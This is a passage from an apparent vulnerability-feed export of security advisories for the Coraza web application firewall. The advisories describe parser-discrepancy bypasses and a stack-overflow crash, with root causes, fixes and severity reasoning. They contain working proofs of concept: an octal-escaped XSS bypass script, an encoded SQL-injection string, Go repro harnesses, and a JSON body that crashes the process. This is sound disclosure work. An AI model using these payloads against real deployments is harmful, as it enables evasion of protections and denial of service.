resolves, closed in `f30df398`:\n\n- An unresolvable `%` escape in `filename*` (`filename*=UTF-8''safe.jpg%ZZ`) is still kept as-is rather than substituting a decoy plain `filename`, but now also raises `MULTIPART_STRICT_ERROR`. Without this, the discrepancy was silent whenever a backend decoded the same escape differently or rejected it outright.\n- A quoted `filename*` value (`filename*=\"UTF-8''shell.php\"`) is unwrapped before parsing. RFC 5987 does not permit `filename*` to be a quoted-string, but a general Content-Disposition parser such as Go's `mime.ParseMediaType` accepts a quoted value for any parameter. Without unwrapping, the literal quote characters ended up in `MULTIPART_FILENAME`/`MULTIPART_FILENAME_CHARSET`, so an anchored rule (e.g. `\\.php$`) did not match a filename the backend resolved cleanly.\n- `MULTIPART_FILENAME`, `MULTIPART_FILENAME_CHARSET`, `MULTIPART_FILENAME_LANGUAGE` and `MULTIPART_NAME` are multi-valued collections: two parts sharing one `name` (e.g. a multi-file upload field) each keep their own filename instead of the later part overwriting the earlier one. ModSecurity's fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) independently identifies and fixes the same class of bug, describing it as \"a second, distinct bypass,\" by keeping the equivalent variables multi-valued.\n\n### The precedence decision itself was found to relocate the bypass\n\nReviewing `filename*`-as-authoritative, @jptosso demonstrated (with a repro against Go's own `mime/multipart` as the reference backend) that this precedence choice doesn't close the two-sided decoy: it only decides which of the two payload shapes above is caught, not both. Checked against ModSecurity v3's actual fix for GHSA-5pww-8rfg-9crf: it makes the identical unconditional-precedence choice (single value, `filename*` wins, plain `filename` discarded), with no record of the two-sided case being considered there either — this is not a case of Coraza deviating from a more careful upstream fix.\n\nFixed in `89399e67` by keeping both readings rather than picking one (see Resolution above). Test coverage for the original PoC direction only ever exercised the `filename=\"safe.jpg\"; filename*=...''shell.php` order; the swapped order (`filename=\"shell.php\"; filename*=...''safe.jpg`) is now a dedicated regression case, since that gap in coverage is exactly why the one-sided version shipped in the first place.\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: an RFC 2231 numbered continuation (`filename*0=`, `filename*0*=`, ...) next to a bare `filename*` parameter now sets `MULTIPART_STRICT_ERROR`, and the Content-Disposition duplicate-parameter check added in 3.8.0 is now linear instead of quadratic in the number of parameters. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity is High because the bypass depends on a specific backend behaviour outside the attacker's control. Go's `mime.ParseMediaType` and PHP resolve the same filename Coraza did, so they are not affected. The discrepancy exists only for backends that decode a non-UTF-8 `filename*` or treat a `filename*`-only part as a file, such as Werkzeug/Flask and busboy-based Node.js backends (Express with multer, Fastify). The continuation case fixed in 3.8.1 is resolved only by Werkzeug. The previous vector scored Attack Complexity Low (5.8).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text.

When a CTL sits directly next to the `=` separator, Coraza absorbs it into the adjacent name or value, while several backend cookie parsers trim it away — so the WAF and the application disagree about the cookie it just received.\n\n## Root cause\n- `ParseCookies` (`internal/cookies/cookies.go:17,26,31`) trims via `net/textproto.TrimString`, which strips only space (`0x20`) and tab (`0x09`).\n- RFC 6265 §4.1.1 defines cookie `name` as an HTTP `token` and `value` as `cookie-octet`, both excluding the full C0 control range (`0x00–0x1F`, `0x7F`) — not just space/tab.\n- Input `a\\v=\\t'` (vertical tab `\\v` next to `=`) keeps `\\v` in the name (`a\\v`), yielding name=`a\\v`, value=`\\t'`.\n\n## Confirmed divergence from real backends\n| Implementation | Name | Value |\n|---|---|---|\n| Coraza (< 3.8.0) | `a\\v` | `\\t'` |\n| Python `http.cookies`, and the Werkzeug/Flask version in the report below | `a` | `'` |\n| PHP `$_COOKIE` | `a` | `\\t'` |\n| Node.js `cookie` package | `a\\v` | `'` |\n\nRFC 6265 itself calls this exact cookie-pair invalid, so there's no single spec-correct reference — but Coraza's boundary handling diverges from 2 of these 3 widely-used backends.\n\nCorrection (2026-10-02): current Werkzeug (3.1.9, checked during review of the 3.8.1 follow-up) keeps `a\\v` as the name, like Node's `cookie` package. The name divergence therefore applies to PHP and to Python's `http.cookies`, not to every Werkzeug version.\n\n## Impact\nAn attacker can pad a `Cookie` header with a CTL adjacent to `=` so Coraza indexes a different name/value than the backend application does. A `SecRule` scoped to a specific cookie name or value can then miss the cookie the application actually processes — a WAF bypass for cookie-carried attacks.\n\n## Affected component\n`internal/cookies.ParseCookies`, consumed via `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`.\n\n## Fix\nTrim the full CTL range (not just space/tab) from both ends of the extracted name and value, treating a boundary-adjacent CTL as a delimiter rather than token content — aligning with RFC 6265's `token`/`cookie-octet` grammar.\n\nThe fix does not attempt to resolve what happens when a CTL lands in the *interior* of an otherwise-plausible name (e.g. `ab\\vcd`). That case is disputed among the backends themselves — Python's `http.cookies` rejects the whole pair, PHP strips the CTL from the middle, Node's `cookie` package keeps it — so there is no consensus to converge on. It is left as a separate follow-up rather than guessed at here.\n\n### Implementation note\nThe trim is deliberately hand-rolled (a byte-wise scan on `b <= ' ' || b == 0x7f`, which covers octets `0x00–0x20` plus `0x7F`) rather than delegated to the standard library. This is a conscious choice on a security hot path and should not be \"simplified\" away later:\n\n- **`strings.TrimFunc` was measured and rejected.** It invokes its predicate through a func value once per byte scanned, which Go cannot devirtualize through `strings.indexFunc`. On an Apple M2, parsing a 64 KiB CTL-saturated `Cookie` header costs **167.6 µs** via `TrimFunc` versus **33.9 µs** byte-wise — a ~5× CPU amplification handed to an attacker, on input that is attacker-controlled and parsed on every request. Allocation counts are identical either way; the cost is purely the per-byte indirect call.\n- **`strings.TrimSpace` is not a substitute.** It misses most of the CTL range (`0x00–0x08`, `0x0E–0x1F`, `0x7F`) and additionally trims `U+0085` and `U+00A0`, whose multi-byte UTF-8 encodings a backend would not strip — reintroducing the very parser-disagreement class this advisory closes.\n\nThe byte-wise implementation was verified equivalent to a `TrimFunc`-based one across all 16,843,009 byte strings of length 0–3, including invalid UTF-8, with zero mismatches. `BenchmarkParseCookies/CTLFlood` guards the hot path against a future regression to a per-byte indirect call.\n\n## Proof of Concept (original report)\n\n> Hi, @fzipi, i hope you doing well, i'm RelunSec from InsiteTech.jp\n>\n> we discovered a parser confusion in cookie parser, i used a simple flask app that print the cookies\n>\n> ```py\n> from flask import Flask, request\n>\n> app = Flask(__name__)\n>\n> @app.route('/')\n> def index():\n>     # 1.

Node's `cookie` package (`{\"\\x01\": \"payload\"}`, `{\"\": \"payload\"}`) and Werkzeug still pass such pairs to the application. 3.8.1 keeps them in `REQUEST_COOKIES` under the name `\"\"`. This is an intentional deviation from ModSecurity v2 and v3, which skip empty names. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nUnchanged vector; precondition stated per the project's triage guidance. Attack Complexity is High because the bypass depends on a specific backend cookie parser: the original trim discrepancy affects backends that split `a\\v` as `a` (PHP's `$_COOKIE`, Python's `http.cookies`) and only rules keyed on a cookie name, and the 3.8.0 regression affects backends that pass empty or control-character-only cookie names to the application (Node's `cookie` package, Werkzeug for `\\x01`).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed.

The fallback logic that should split on `?` and populate the GET arguments from the raw tail is already present in the source as a commented-out block, referencing a `VARIABLE_URI_PARSE_ERROR` variable that was never wired up.\n\nConsequences on the error branch:\n\n- `ARGS_GET` / `ARGS_GET_NAMES` / `ARGS` (union) are **empty** — `ExtractGetArguments` is never called.\n- `QUERY_STRING` is **empty** (initial `query := \"\"` at line 835 persists through to `queryString.Set(query)` at line 866).\n- `REQUEST_FILENAME` / `REQUEST_BASENAME` contain the entire URI including any `?…` query suffix (because `path = uri` at line 838 bypasses the parse, and the subsequent `strings.LastIndexAny(path, \"/\\\\\")` runs over the raw URI).\n- `URLENCODED_ERROR` is set to the Go error message. That variable is *also* set by the urlencoded body processor on body-decode failures, so an operator cannot distinguish \"malformed URI\" from \"malformed request body\" without string-matching the error text.\n- `REQUEST_URI_RAW` (set unconditionally at line 822, before the parse) **is** populated correctly.\n\nAny rule targeting `ARGS_GET`, `ARGS`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `QUERY_STRING` — which is the default target set for the vast majority of OWASP CRS GET-side signature rules — does not fire against attacker content that reaches Coraza via a URI Go's `net/url` rejects.\n\n## Reachability\n\nThis issue **does not affect the standard `coraza/v3/http` + `net/http` integration**. Go's `http.ReadRequest` calls `url.ParseRequestURI` first and rejects malformed URIs with `400 Bad Request` before `ProcessURI` is invoked. Verified experimentally against a Coraza-wrapped `net/http` server — a raw request with a control-byte-laced URI produced `HTTP 400`, and the handler was never reached.\n\nThe bug is reachable when an integration forwards raw URI bytes to `tx.ProcessURI` directly, bypassing Go's HTTP parser:\n\n- **`coraza-spoa`** — HAProxy SPOP agent. Receives URI from HAProxy, which permits bytes `net/http` rejects.\n- **`coraza-proxy-wasm`** — Envoy WASM filter. Passes the `:path` pseudo-header from Envoy.\n- Custom FFI/WASM hosts and any embedder calling `tx.ProcessURI(rawURI, method, httpVersion)` with bytes not pre-validated by Go's URL parser.\n\nThis gates the attack to Attack Complexity:High — a standard Go HTTP deployment is not exposed.\n\n## Proof of Concept\n\nDirect-API reproduction (simulating the non-net/http integration path):\n\n```go\nwaf, _ := coraza.NewWAF(coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRule ARGS_GET     \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:1,deny,status:403\"\nSecRule QUERY_STRING \"@contains ATTACK_HERE_XYZ\" \"id:9002,phase:1,deny,status:403\"\n`))\n\nfor _, uri := range []string{\n    \"/search?q=ATTACK_HERE_XYZ\",                    // baseline\n    \"/search?q=ATTACK_HERE_XYZ\\x00&y=1\",            // NUL byte\n    \"/search?q=ATTACK_HERE_XYZ\\ninjected: header\",  // bare LF\n    \"/search?q=ATTACK_HERE_XYZ\\rhdr: x\",            // bare CR\n    \"/search?q=ATTACK_HERE_XYZ\\tx=1\",               // tab\n} {\n    tx := waf.NewTransaction()\n    tx.ProcessURI(uri, \"GET\", \"HTTP/1.1\")\n    it := tx.ProcessRequestHeaders()\n    // inspect tx.Variables().QueryString().Get() and tx.Variables().ArgsGet().FindAll()\n    tx.Close()\n}\n```\n\nObserved:\n\n| URI | `QUERY_STRING` | `ARGS_GET` | interrupted? |\n|---|---|---|---|\n| `/search?q=ATTACK_HERE_XYZ` | `q=ATTACK_HERE_XYZ` | 1 entry | **yes (403)** |\n| `/search?q=ATTACK_HERE_XYZ\\x00&y=1` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\ninjected: header` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\rhdr: x` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\tx=1` | `\"\"` | 0 entries | **no — BYPASS** |\n\n`REQUEST_URI_RAW` is populated correctly in every case (line 822 sets it before the parse), so a rule written against `REQUEST_URI_RAW` still catches the attack. CRS and most operator-written rules target `ARGS_GET` / `ARGS` / `QUERY_STRING` — those do not fire.\n\nHTTP-layer reachability check (stock `net/http`):\n\n```\n$ printf 'GET /?q=ATTACK_HERE_XYZ\\x00&y=1 HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8092\nHTTP/1.1 400 Bad Request\n```\n\nConfirms the exposure is limited to non-net/http integrations.\n\n## Mitigation\n\nRecommended fixes, in order:\n\n### 1. Re-enable the existing fallback and wire up `URI_PARSE_ERROR`\n\nThe code to fix this is already present as a commented-out block at `transaction.go:840–851`. Re-enable it, promote the referenced `VARIABLE_URI_PARSE_ERROR` to a real transaction variable, and populate `ARGS_GET` / `QUERY_STRING` from the raw `?…` tail:\n\n```go\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    tx.variables.uriParseError.Set(\"1\")               // new variable\n    tx.variables.requestURI.Set(uri)\n    if i := strings.Index(uri, \"?\"); i != -1 {\n        path = uri[:i]\n        query = uri[i+1:]\n        tx.ExtractGetArguments(query)                  // populate ARGS_GET\n    } else {\n        path = uri\n    }\n} else {\n    ...\n}\n```\n\n### 2. Ship a companion rule in `coraza.conf-recommended`\n\n```conf\nSecRule URI_PARSE_ERROR \"@eq 1\" \\\n    \"id:'200010',phase:1,t:none,log,deny,status:400,msg:'URI failed to parse'\"\n```\n\nThis gives operators a fail-closed default (analogous to rule 200003 for multipart strict error and rule 200002 for body-parse error), so non-net/http integrations at least stop the request regardless of downstream rule coverage.\n\n### 3. Do not overload `URLENCODED_ERROR`\n\nThe current code uses `URLENCODED_ERROR` for URI parse failures. That variable is also set by the urlencoded body processor on body-decode errors; operators cannot distinguish the two causes without string-matching the error text, and any rule they add will fire on both classes of failure. A dedicated `URI_PARSE_ERROR` variable (per the commented-out TODO) is the right shape.\n\n## Affected versions\n\nAll releases on the v3 branch (`>= 3.0.0, <= 3.7.0`); the silent-drop behavior has been present since the first v3 release. Only deployments using non-net/http integrations (coraza-spoa, coraza-proxy-wasm, custom FFI) are exposed in practice.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 834–866 (ProcessURI error branch)\n- `internal/corazawaf/transaction.go` line 822 (`REQUEST_URI_RAW` is populated before the parse, which is why `REQUEST_URI_RAW`-targeted rules still catch the attack)\n- Commented-out fallback at lines 840–851 referencing `VARIABLE_URI_PARSE_ERROR`\n- CWE-20 — Improper Input Validation\n- CWE-436 — Interpretation Conflict\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity stays High: the bypass only applies to integrations that pass Coraza a raw URI that Go's URL parser rejects, which `net/http` does not.

A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 < inputLen) && isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j < inputLen) && (j < 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ > ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n< HTTP/1.1 403 Forbidden\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n< HTTP/1.1 200 OK\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n< Content-Length: 39\n< Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"<txid>\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`<\\163\\143\\162\\151\\160\\164>` → `<script>`, and `\\47\\117\\122\\40\\61\\75\\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:\n\n```go\nfor (i+1+j < inputLen) && (j < 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j >= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text.

If the configured `SecArgumentsLimit`\n(`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by\nearlier, shallow values in the document, `readItems` stops walking *before it\never reaches* a deeply nested tail later in the same document — so the\n`maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON`\nfalls through to the unconditional `gjson.Valid(s)` call on the complete raw\nbody, including the part `readItems` never visited.\n\nThis is not a new interaction with the recursion limit itself: at v3.7.0,\n`gjson.Valid` ran unconditionally before any recursion check at all, so a\nplain deeply-nested body crashed the process directly. A later fix added a\ndepth check that returns an error before `Valid` runs for the *straightforward*\ncase (nesting reached before any other guard fires). The argument-limit /\nbyte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,\nGHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they\nshort-circuit the walk (and therefore the recursion counter) ahead of the\ndepth check, on both the request and response body path (`ProcessResponse`\ncalls the same `readJSON`, json.go:57-88).\n\nBecause this is `fatal error: stack overflow`, not a `panic`, it is **not**\nrecoverable by any `recover()` in the calling goroutine — the process\nterminates unconditionally.\n\n### PoC\n\n```go\npackage bodyprocessors\n\nimport (\n    \"strings\"\n    \"testing\"\n)\n\nfunc TestStackOverflowRepro(t *testing.T) {\n    body := \"[\" + strings.Repeat(\"1,\", 1000) + strings.Repeat(\"[\", 13_000_000)\n    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit\n    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,\n    // internal/corazawaf/waf.go:359).\n    _, _, _ = readJSON(body, 20, 1000)\n}\n```\n\n```\n$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2584\ngithub.com/tidwall/gjson.validany(...)\n\t.../gjson@v1.18.0/gjson.go:2499\ngithub.com/tidwall/gjson.validarray(...)\n\t.../gjson@v1.18.0/gjson.go:2589\n...

There is no privilege or interaction\nrequirement, and the crash cannot be caught or mitigated by the integrator\n(no `recover()` stops a stack-overflow fatal error). This is strictly worse\nthan a CPU-exhaustion or slow-request DoS: the process must be restarted, and\nevery in-flight request/transaction on that process is lost.\n\n### Suggested fix\n\nRun an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`'s\nown recursion accounting) before calling `gjson.Valid`, and never call\n`gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response\npath (`ProcessResponse`) needs the same treatment since it shares `readJSON`.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the initial vulnerability hypothesis and\n  repro shape were supplied by the reporter as an existing written finding;\n  Claude Sonnet 5 independently re-derived the root cause by reading the\n  current source, wrote and ran a fresh PoC test against commit `19b86824`\n  (tag `v3.8.0`), confirmed the crash and stack trace shown above, verified\n  the default configuration values cited (`ArgumentLimit` default,\n  `SecRequestBodyLimit` recommended value) against the current source, and\n  drafted this advisory text.\n- **Review performed:** reproduced by hand by running the PoC test above with\n  `go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against\n  a clean checkout of commit `19b86824`; observed the `fatal error: stack\n  overflow` and stack trace through `gjson.validarray`/`validany`; traced\n  `readJSON`/`readItems` line by line to confirm the guard ordering described\n  above; the PoC was reviewed by a human maintainer (fzipi) before\n  submission of this advisory.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"high","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-674"],"tags":["osv","osv:ghsa-6gcq-wc29-5xf2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-6gcq-wc29-5xf2","type":"advisory","title":"OSV GHSA-6gcq-wc29-5xf2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:46.000Z","addedAt":"2026-10-08T18:42:42.076Z","updatedAt":"2026-10-08T18:42:42.076Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-6gcq-wc29-5xf2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-6gcq-wc29-5xf2"}]},{"id":"43c75833-2492-4e9f-abd9-daa94e9b859d","slug":"ghsa-5gj4-9gm7-2fx2","externalId":"GHSA-5gj4-9gm7-2fx2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection","description":"### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names.

Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a 